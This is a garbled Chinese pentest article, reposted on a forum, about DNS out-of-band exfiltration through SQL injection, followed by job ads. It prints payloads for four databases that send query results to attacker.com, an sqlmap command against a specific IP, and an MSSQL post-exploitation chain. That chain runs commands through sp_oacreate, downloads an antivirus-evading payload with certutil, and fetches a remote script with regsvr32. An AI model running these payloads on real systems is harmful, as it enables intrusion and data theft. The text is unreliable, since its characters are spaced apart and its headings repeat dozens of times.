搜索

[6222] 2019-10-13_利用DNS实现SQL注入带外查询

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2019-10-13_利用DNS实现SQL注入带外查询 利 用 D N S 实 现 S Q L 注 入 带 外 查 询 4 c k 1 k   E 安 全   2 0 1 9 - 1 0 - 1 3 N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 在 实 战 渗 透 测 试 过 程 中 ， 经 常 碰 到 S Q L 注 入 点 无 法 回 显 数 据 ， 获 得 s q l m a p 中 o s - s h e l l 也 无 法 进 一 步 g e t s h e l l 或 是 反 弹 s h e l l ， 从 而 放 弃 继 续 深 入 。 N o . 3 N o . 3 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B 什 么 是 什 么 是 O O B           根 据 用 于 数 据 检 索 的 传 输 信 道 ， S Q L i 可 分 为 三 个 独 立 的 类 别 ： i n b a n d ,   i n f e r e n c e （ 推 理 ）   和 o u t - o f - b a n d 。         I n b a n d 技 术 使 用 攻 击 者 和 有 漏 洞 的 W e b 应 用 程 序 之 间 现 有 的 渠 道 来 提 取 数 据 。 通 常 该 通 道 是 标 准 的 W e b 服 务 器 响 应 。 它 的 成 员 u n i o n 技 术 使 用 现 有 的 w e b 页 面 输 出 恶 意 S Q L 查 询 的 执 行 结 果 ， 而 e r r o r - b a s e d 技 术 则 引 发 特 定 的 恶 意 S Q L 查 询 的 执 行 结 果 的 D B M S 的 错 误 消 息 。         相 反 的 ， 在 I n f e r e n c e 技 术 中 ， 攻 击 者 通 过 应 用 程 序 表 现 的 差 异 来 推 断 数 据 的 值 。 I n f e r e n c e 技 术 能 够 逐 位 提 取 恶 意 S Q L 查 询 结 果 ， 却 没 有 真 正 传 输 数 据 。         I n f e r e n c e 的 核 心 是 在 服 务 器 执 行 一 系 列 的 布 尔 查 询 ， 观 察 和 最 后 推 导 接 收 结 果 的 含 义 。 根 据 观 察 到 的 特 性 ， 它 的 成 员 被 称 为 布 尔 型 盲 注 （ b o o l ） 和 基 于 时 间 （ t i m e - b a s e d ） 的 盲 注 技 术 。 在 布 尔 型 盲 注 技 术 中 ， 网 络 服 务 器 响 应 内 容 的 变 化 用 于 区 分 逻 辑 的 值 （ t r u e / f a l s e ） ， 而 在 基 于 时 间 的 盲 注 技 术 中 则 通 过 观 察 W e b 服 务 器 响 应 时 间 ( s l e e p / b e n c h m a r k ) 的 变 化 来 推 断 答 案 。         O u t - o f - b a n d   ( O O B ) 技 术 ， 与 i n b a n d 相 反 ， 使 用 其 它 传 输 信 道 获 取 数 据 ， 例 如 H T T P 协 议 和 D N S 解 析 协 议 。 当 详 细 的 错 误 信 息 被 禁 用 （ 无 回 显 ） 、 结 果 被 限 制 或 过 滤 （ 被 拦 截 ） 、 出 站 过 滤 规 则 不 严 和 / 或 当 减 少 查 询 的 数 目 变 得 极 度 重 要 时 i n f e r e n c e 技 术 看 起 来 像 是 唯 一 的 选 择 ， 这 时 使 用 O O B 技 术 渗 透 便 变 得 十 分 有 趣 。         例 如 ， 基 于 H T T P 的 O O B 技 术 的 S Q L 查 询 结 果 变 成 了 发 送 给 H T T P 服 务 器 请 求 的 一 部 分 （ 例 如 G E T 参 数 值 ） 被 能 访 问 日 志 文 件 的 攻 击 者 控 制 时 。 此 类 的 技 术 不 像 其 它 的 主 流 技 术 被 广 泛 应 用 ， 主 要 是 其 所 需 的 设 置 非 常 复 杂 ， 但 使 用 它 们 可 以 克 服 许 多 障 碍 （ 如 避 免 不 必 要 的 数 据 库 写 入 和 极 大 地 提 升 利 用 I N S E R T / U P D A T E 语 句 漏 洞 的 基 于 时 间 的 S Q L 注 入 ） 。 N o . 4 N o . 4 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 D N S 传 输 数 据 传 输 数 据 需 要 先 理 解 下 D N S 解 析 过 程 ， 看 下 面 图 即 可 ：
在 实 际 应 用 中 ， 实 现 d n s 解 析 ， 有 多 种 方 法 ： 1 .         使 用 b u r p   s u i t e   自 带 的 B u r p   C o l l a b o r a t o r   c l i e n t （ 方 便 好 用 ， 用 于 探 测 数 据 库 服 务 器 能 否 出 网 ） 2 .         搭 建 一 个 简 易 h t t p 服 务 器 ， 如 p y t h o n 服 务 器 （ 有 域 名 最 好 ） 3 .         使 用 开 放 平 台 的 c e y e . i o 或 是 自 己 搭 建 的 d n s l o g 服 务 器 （ 网 上 有 很 多 类 型 平 台 和 文 章 ， 不 再 做 介 绍 ） 4 .         使 用 s q l m a p 中 的 — d n s - d o m a i n 参 数 N o . 5 N o . 5 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 查 询 方 法 1 . M S S Q L ： 我 们 可 以 简 单 地 使 用 m a s t e r . d b o . x p _ d i r t r e e 功 能 来 执 行 D N S 查 询 。 该 操 作 的 主 要 目 的 是 将 文 件 放 在 目 录 下 ， 但 它 也 允 许 远 程 目 录 访 问 ， 这 样 我 们 就 可 以 让 我 们 的 域 运 行 并 获 得 结 果 。 语 法 如 下 所 示 ： D E C L A R E   @ d a t a   v a r c h a r ( 1 0 2 4 ) ;         S E L E C T   @ d a t a   = ( S E L E C T   f o o   F R O M   b a r ) ;         E X E C ( ' m a s t e r . . x p _ d i r t r e e “ ' +   @   d a t a   + ' . a t t a c k e r . c o m     f o o   $ ” ' ) ; 如 果 其 他 方 法 有 任 何 问 题 ， 我 们 也 可 以 使 用 像 x p _ f i l e e x i s t s 和 x p _ s u b d i r s 这 样 的 函 数 ;   它 们 在 语 法 上 是 相 同 的 。 2 . O r a c l e ： 有 U T L _ I N A D D R . G E T _ H O S T _ A D D R E S S U T L _ H T T P . R E Q U E S T H T T P _ U R I T Y P E . G E T C L O B 和 D B M S _ L D A P . I N I T
这 些 函 数 中 的 每 一 个 都 执 行 名 称 解 析 ， 其 中 一 个 示 例 用 例 是 ： S E L E C T   D B M S _ L D A P . I N I T （ （ S E L E C T   f o o   F R O M   b a r ） | | ' . a t t a c k e r . c o m ' ， 8 0 ） F R O M   D U A L ; 3 . M y S Q L ： L O A D _ F I L E 可 用 于 解 析 域 名 S E L E C T   L O A D _ F I L E （ C O N C A T （ ' ' ， （ S E L E C T   f o o   F R O M   b a r ） ， ' . a t a c k e r . c o m ' ) ) ; 4 . P o s t g r e S Q L ： 对 于 p o s t g r e s q l 我 们 可 以 使 用 C O P Y 函 数 ， 它 基 本 上 读 取 一 个 文 件 并 将 其 内 容 复 制 到 一 个 表 中 ， 语 法 如 下 ：         D R O P   T A B L E   I F   E X I S T S   t a b l e _ o u t p u t ;         C R E A T E   T A B L E   t a b l e _ o u t p u t ( c o n t e n t   t e x t ) ;         C R E A T E   O R   R E P L A C E   F U N C T I O N   t e m p _ f u n c t i o n ( )         R E T U R N S   V O I D   A S   $ $         D E C L A R E   e x e c _ c m d   T E X T ;         D E C L A R E   q u e r y _ r e s u l t   T E X T ;         B E G I N                 S E L E C T   I N T O   q u e r y _ r e s u l t   ( S E L E C T   f o o   F R O M   b a r ) ;                 e x e c _ c m d   : =   E ' C O P Y   t a b l e _ o u t p u t ( c o n t e n t )   F R O M   E ' ' | | q u e r y _ r e s u l t | | E ' . a t t a c k e r . c o m f o o b a r . t x t ' ' ;                 E X E C U T E   e x e c _ c m d ;         E N D ;         $ $   L A N G U A G E   p l p g s q l   S E C U R I T Y   D E F I N E R ;         S E L E C T   t e m p _ f u n c t i o n ( ) ; N o . 6 N o . 6 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 s q l m a p   - - d n s - d o m a i n 回 回 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 显 准 备 ： 一 个 控 制 的 域 名 ： o p e n d n s . o n l i n e 例 子 ： 发 现 u i d 存 在 注 入 s q l m a p   - u   ' h t t p : / / 1 8 8 . 1 6 6 . 2 9 . 1 1 4 / t e s t . p h p ? u i d = 1 '   - p   u i d   - - d b s   - - t e c h n i q u e   T   - - d b m s   m s s q l   - - l e v e l   5   - - r i s k   3   - - d n s - d o m a i n   o p e n d n s . o n l i n e
使 用 t c p d u m p 进 行 监 听 5 3 d 端 口 的 u d p 流 量 ： t c p d u m p   - i   e t h 0   - s   0   - A   - v v v   ' u d p   a n d   d s t   p o r t   5 3 我 们 可 以 看 到 ， s q l m a p 将 查 询 响 应 放 在 两 个 随 机 字 符 串 之 间 ， 并 将 我 们 的 域 名 附 加 到 它 以 执 行 d n s 请 求 。 然 后 ， 在 这 些 随 机 字 符 串 的 帮 助 下 ， 它 可 以 理 解 哪 个 请 求 响 应 特 定 查 询 并 相 应 地 生 成 结 果 。 N o . 7 N o . 7 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸 思 路 延 伸
看 到 有 同 事 在 实 战 应 用 中 碰 到 很 多 障 碍 ， 需 要 扎 实 的 基 础 ， 才 能 有 许 多 技 巧 去 绕 过 。 碰 到 问 题 ， 解 决 问 题 ， 能 够 从 中 学 习 到 很 多 。 d n s 解 析 已 经 很 成 熟 ， 但 只 是 一 种 辅 助 手 段 ， 本 质 还 是 需 要 对 常 用 数 据 库 特 性 有 深 入 理 解 。 场 景 ： 机 器 ： W i n d o w s   2 0 0 8 数 据 库 ： M S S Q L 注 入 点 权 限 ： D B A 权 限 服 务 器 上 安 装 ： 3 6 0 + E S E T   N O D 3 2   A n t i v i r u s 拥 有 — o s - s h e l l 权 限 ， 能 够 执 行 命 令 （ 以 前 碰 到 这 种 环 境 ， 执 行 命 令 就 结 束 了 ， 现 在 有 再 好 的 思 路 ， 进 一 步 获 取 s h e l l ） 面 临 的 问 题 面 临 的 问 题 ：                   1 . x p _ c m d s h e l l 无 法 使 用 。                   2 . 服 务 器 安 装 了 杀 软 ， 常 规 手 段 会 被 查 杀 和 阻 断 。                   3 . 虽 然 获 得 了 o s _ s h e l l 终 端 ， 但 无 法 回 显 执 行 情 况 。 解 决 思 路 ： 解 决 思 路 ： 1 . s q l m a p 在 判 断 x p _ c m d s h e l l 无 法 调 用 情 况 下 ， s p _ o a c r e a t e 用 于 创 建 O L E 对 象 实 例 。 开 启 相 应 功 能 ：         E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ;             R E C O N F I G U R E   W I T H   O V E R R I D E ;             E X E C   s p _ c o n f i g u r e   ' O l e   A u t o m a t i o n   P r o c e d u r e s ' ,   1 ;         R E C O N F I G U R E   W I T H   O V E R R I D E ;             E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   0 ;   执 行 （ 解 析 ： s p _ o a c r e a t e 初 始 化 创 建 一 个 O L E 对 象 w s c r i p t . s h e l l ， 使 用 s p _ o a m e t h o d 调 用 O L E 对 象 的 方 法 ， c m d . e x e 执 行 w h o a m i 命 令 再 输 出 到 c 盘 w h o . t x t 文 件 ） ： d e c l a r e   @ s h e l l   i n t   e x e c   s p _ o a c r e a t e   ' w s c r i p t . s h e l l ' , @ s h e l l   o u t p u t   e x e c   s p _ o a m e t h o d   @ s h e l l , ' r u n ' , n u l l , ' c : w i n d o w s s y s t e m 3 2 c m d . e x e   / c w h o a m i   > C : w h o . t x t ' 2 . 现 在 的 问 题 是 无 法 回 显 执 行 的 结 果 ， 选 择 使 用 d n s l o g 方 式 进 行 带 外 查 询 ， 这 里 先 使 用 b u r p   c o l l a b o r a t o r   判 断 能 否 出 网 ， 如 果 能 够 正 常 出 网 ， 搭 建 p y t h o n   h t t p . s e r v e r 服 务 器 用 于 接 收 回 显 信 息 。 3 . 使 用 o s - s h e l l > c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / x x . x x . x x . x x : 8 0 0 0 / 1 . e x e 下 载 p a y l o a d （ 已 免 杀 ） 。 4 . 接 收 回 显 信 息 判 断 是 否 下 载 、 运 行 成 功 ， 同 时 使 用 w m i c   p r o c e s s   c a l l   c r e a t e   " r e g s v r 3 2   / s   / n   / u / i : h t t p : / / x x x . x x x . x x x . x x x : 8 0 8 6 / p . t x t   s c r o b j . d l l " 探 测 进 程 1 . e x e 是 否 正 常 运 行 成 功 。 解 决 思 路 脑 图 如 下 ：
N o . 8 N o . 8 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 安 全 招 聘 — — — — — — — — 公 司 ： 安 恒 信 息 岗 位 ： W e b 安 全   安 全 研 究 员 部 门 ： 安 服 战 略 支 援 部 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 1 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） ， 广 州 岗 位 剩 余 编 制 ： 3 人 工 作 环 境 ： 一 座 大 厦 ， 健 身 场 所 ， 医 师 ， 帅 哥 ， 美 女 ， 高 级 食 堂 … 【 岗 位 职 责 】 1 . 定 期 面 向 部 门 、 全 公 司 技 术 分 享 ; 2 . 前 沿 攻 防 技 术 研 究 、 跟 踪 国 内 外 安 全 领 域 的 安 全 动 态 、 漏 洞 披 露 并 落 地 沉 淀 ； 3 . 负 责 完 成 部 门 渗 透 测 试 、 红 蓝 对 抗 业 务 ; 4 . 负 责 自 动 化 平 台 建 设 5 . 负 责 针 对 常 见 W A F 产 品 规 则 进 行 测 试 并 落 地 b y p a s s 方 案 【 岗 位 要 求 】 1 . 至 少 1 年 安 全 领 域 工 作 经 验 ； 2 . 熟 悉 H T T P 协 议 相 关 技 术 3 . 拥 有 大 型 产 品 、 C M S 、 厂 商 漏 洞 挖 掘 案 例 ； 4 . 熟 练 掌 握 p h p 、 j a v a 、 a s p . n e t 代 码 审 计 基 础 （ 一 种 或 多 种 ） 5 . 精 通 W e b   F u z z 模 糊 测 试 漏 洞 挖 掘 技 术 6 . 精 通 O W A S P   T O P   1 0 安 全 漏 洞 原 理 并 熟 悉 漏 洞 利 用 方 法 7 . 有 过 独 立 分 析 漏 洞 的 经 验 ， 熟 悉 各 种 W e b 调 试 技 巧 8 . 熟 悉 常 见 编 程 语 言 中 的 至 少 一 种 （ A s p . n e t 、 P y t h o n 、 p h p 、 j a v a ） 【 加 分 项 】
【 加 分 项 】 1 . 具 备 良 好 的 英 语 文 档 阅 读 能 力 ； 2 . 曾 参 加 过 技 术 沙 龙 担 任 嘉 宾 进 行 技 术 分 享 ； 3 . 具 有 C I S S P 、 C I S A 、 C S S L P 、 I S O 2 7 0 0 1 、 I T I L 、 P M P 、 C O B I T 、 S e c u r i t y + 、 C I S P 、 O S C P 等 安 全 相 关 资 质 者 ； 4 . 具 有 大 型 S R C 漏 洞 提 交 经 验 、 获 得 年 度 表 彰 、 大 型 C T F 夺 得 名 次 者 ； 5 . 开 发 过 安 全 相 关 的 开 源 项 目 ； 6 . 具 备 良 好 的 人 际 沟 通 、 协 调 能 力 、 分 析 和 解 决 问 题 的 能 力 者 优 先 ； 7 . 个 人 技 术 博 客 ； 8 . 在 优 质 社 区 投 稿 过 文 章 ； 岗 位 ： 安 全 红 队 武 器 自 动 化 攻 城 狮 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 2 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） 【 岗 位 职 责 】 1 . 负 责 红 蓝 对 抗 中 的 武 器 化 落 地 与 研 究 ； 2 . 平 台 化 建 设 ； 3 . 安 全 研 究 落 地 。 【 岗 位 要 求 】 1 . 熟 练 使 用 P y t h o n 、 j a v a 、 c / c + + 等 至 少 一 门 语 言 作 为 主 要 开 发 语 言 ； 2 . 熟 练 使 用 D j a n g o 、 f l a s k   等 常 用 w e b 开 发 框 架 、 以 及 熟 练 使 用 m y s q l 、 m o n g o D B 、 r e d i s 等 数 据 存 储 方 案 ； 3 : 熟 悉 域 安 全 以 及 内 网 横 向 渗 透 、 常 见 w e b 等 漏 洞 原 理 ； 4 . 对 安 全 技 术 有 浓 厚 的 兴 趣 及 热 情 ， 有 主 观 研 究 和 学 习 的 动 力 ； 5 . 具 备 正 向 价 值 观 、 良 好 的 团 队 协 作 能 力 和 较 强 的 问 题 解 决 能 力 ， 善 于 沟 通 、 乐 于 分 享 。 【 加 分 项 】 1 . 有 高 并 发 t c p 服 务 、 分 布 式 等 相 关 经 验 者 优 先 ； 2 . 在 g i t h u b 上 有 开 源 安 全 产 品 优 先 ； 3 : 有 过 安 全 开 发 经 验 、 独 自 分 析 过 相 关 开 源 安 全 工 具 、 以 及 参 与 开 发 过 相 关 后 渗 透 框 架 等 优 先 ； 4 . 在 f r e e b u f 、 安 全 客 、 先 知 等 安 全 平 台 分 享 过 相 关 技 术 文 章 优 先 ； 5 . 具 备 良 好 的 英 语 文 档 阅 读 能 力 。
设 计 师 — — — — — — — — 【 职 位 描 述 】 负 责 设 计 公 司 日 常 宣 传 图 片 、 软 文 等 与 设 计 相 关 工 作 ， 负 责 产 品 品 牌 设 计 。 【 职 位 要 求 】 1 、 从 事 平 面 设 计 相 关 工 作 1 年 以 上 ， 熟 悉 印 刷 工 艺 ； 具 有 敏 锐 的 观 察 力 及 审 美 能 力 ， 及 优 异 的 创 意 设 计 能 力 ； 有   V I   设 计 、 广 告 设 计 、 画 册 设 计 等 专 长 ； 2 、 有 良 好 的 美 术 功 底 ， 审 美 能 力 和 创 意 ， 色 彩 感 强 ； 精 通 p h o t o s h o p / i l l u s t r a t o r / c o r e l d r e w / 等 设 计 制 作 软 件 ； 3 、 有 品 牌 传 播 、 产 品 设 计 或 新 媒 体 视 觉 工 作 经 历 ； 【 关 于 岗 位 的 其 他 信 息 】 企 业 名 称 ： 杭 州 安 恒 信 息 技 术 股 份 有 限 公 司 办 公 地 点 ： 杭 州 市 滨 江 区 安 恒 大 厦 1 9 楼 学 历 要 求 ： 本 科 及 以 上 工 作 年 限 ： 1 年 及 以 上 ， 条 件 优 秀 者 可 放 宽 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n 安 恒 雷 神 众 测 S R C 运 营 （ 实 习 生 ） — — — — — — — — 【 职 责 描 述 】 1 .     负 责 S R C 的 微 博 、 微 信 公 众 号 等 线 上 新 媒 体 的 运 营 工 作 ， 保 持 用 户 活 跃 度 ， 提 高 站 点 访 问 量 ； 2 .     负 责 白 帽 子 提 交 漏 洞 的 漏 洞 审 核 、 R a n k 评 级 、 漏 洞 修 复 处 理 等 相 关 沟 通 工 作 ， 促 进 审 核 人 员 与 白 帽 子 之 间 友 好 协 作 沟 通 ； 3 .     参 与 策 划 、 组 织 和 落 实 针 对 白 帽 子 的 线 下 活 动 ， 如 沙 龙 、 发 布 会 、 技 术 交 流 论 坛 等 ； 4 .     积 极 参 与 雷 神 众 测 的 品 牌 推 广 工 作 ， 协 助 技 术 人 员 输 出 优 质 的 技 术 文 章 ； 5 .     积 极 参 与 公 司 媒 体 、 行 业 内 相 关 媒 体 及 其 他 市 场 资 源 的 工 作 沟 通 工 作 。 【 任 职 要 求 】     1 .     责 任 心 强 ， 性 格 活 泼 ， 具 备 良 好 的 人 际 交 往 能 力 ；   2 .     对 网 络 安 全 感 兴 趣 ， 对 行 业 有 基 本 了 解 ；   3 .     良 好 的 文 案 写 作 能 力 和 活 动 组 织 协 调 能 力 。 【 工 作 地 点 】 杭 州 、 广 州 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n
专 注 渗 透 测 试 技 术 全 球 最 新 网 络 攻 击 技 术 E N D
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理